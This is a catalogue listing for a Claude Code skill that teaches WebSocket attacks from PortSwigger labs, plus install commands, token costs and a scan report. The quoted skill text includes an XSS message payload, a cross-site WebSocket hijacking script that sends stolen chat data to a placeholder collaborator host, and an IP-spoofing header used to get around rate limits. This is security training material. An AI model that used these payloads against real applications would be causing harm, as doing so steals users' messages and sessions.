WebSockets — Deep Dive

WebSockets — Deep Dive is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 25 tokens per session (942 once invoked), scanned A, a copy of Access Control — Complete Deep Dive, Apache-2.0.

A guide to WebSockets, a browser-to-server connection that stays open for live two-way messages. It uses security-testing labs to show how messages and connection handshakes can be manipulated.

In plain words
What is it for?
Studying WebSocket security, testing message contents and handshake headers, and checking applications such as chats for cross-site hijacking or script injection.
Why use it?
It helps testers examine traffic that does not follow the usual one-request, one-response web pattern and find missing origin checks or unsafe message handling.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Studying WebSocket security, testing message contents and handshake headers, and checking applications such as chats for cross-site hijacking or script injection.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/websockets

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for WebSockets — Deep Dive

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websockets/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websockets)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websockets"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websockets/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for WebSockets — Deep Dive

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/websockets"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/websockets.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 25 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 942 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 86% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00025 $0.00942
Opus 5 $0.00013 $0.00471
Sonnet 5 $0.00005 $0.00188
Haiku 4.5 $0.00003 $0.00094

Measured 7d ago against content hash 1bdefe32cb8b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

WebSockets — Deep Dive scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial]
Origin

This is a copy

86% identical to Access Control — Complete Deep Dive — 84 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/bug-hunting/deep-dive-labs/websockets/SKILL.md · 115 lines

How it starts

The opening of the file, as written. The whole thing — 115 lines — stays where its author put it; the contents beside it link to each section on GitHub.

WebSockets — Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

  • BSCP certification prep
  • Real-world bug bounty hunting
  • Building exploitation chains
  • Understanding bypass techniques

Prerequisites

  • Burp Suite Professional
  • Burp Collaborator / interactsh
  • Browser with proxy configured

Workflow

Phase 1: Reconnaissance

  • Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

  • Apply standard lab payloads.

Phase 3: Zero-Day Escalation

  • Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Manipulate messages 🟢 APPRENTICE

{"message":"<img src=1 onerror='alert(1)'>"}

Send XSS payload via WebSocket message.

Lab 2: Cross-site hijacking 🟡 PRACTITIONER

<script>var ws=new WebSocket('wss://TARGET/chat');
ws.onopen=function(){ws.send('READY');};
ws.onmessage=function(e){fetch('https://COLLAB/?'+btoa(e.data));};</script>

No Origin check → steal chat history from victim's session.

Lab 3: Manipulate handshake 🟡 PRACTITIONER

X-Forwarded-For: 1.1.1.1

Bypass IP-based rate limiting on WebSocket handshake, then send XSS payloads.

Blue Team Detection

  • Monitor access logs for anomalous payloads.
  • Implement strict input validation and parameterized queries where applicable.
  • Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

  1. Identify the filter/WAF
  2. Fuzz with Burp Intruder custom wordlists
  3. Search GitHub/Twitter for new bypasses
  4. Chain with other vulns for escalation
  5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept Description
PortSwigger Vectors Standardized approaches to vulnerability classes.
Payload Encoding Modifying payloads to bypass basic string matching WAFs.

Read the full file on GitHub · 115 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 115 lines · 25 tokens per session scan A 1bdefe32cb8b

Subscribe to this mod's changes

WebSockets — Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 25 tokens to every session and 942 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 86% identical to Access Control — Complete Deep Dive, differing in 84 lines, and is treated as a copy.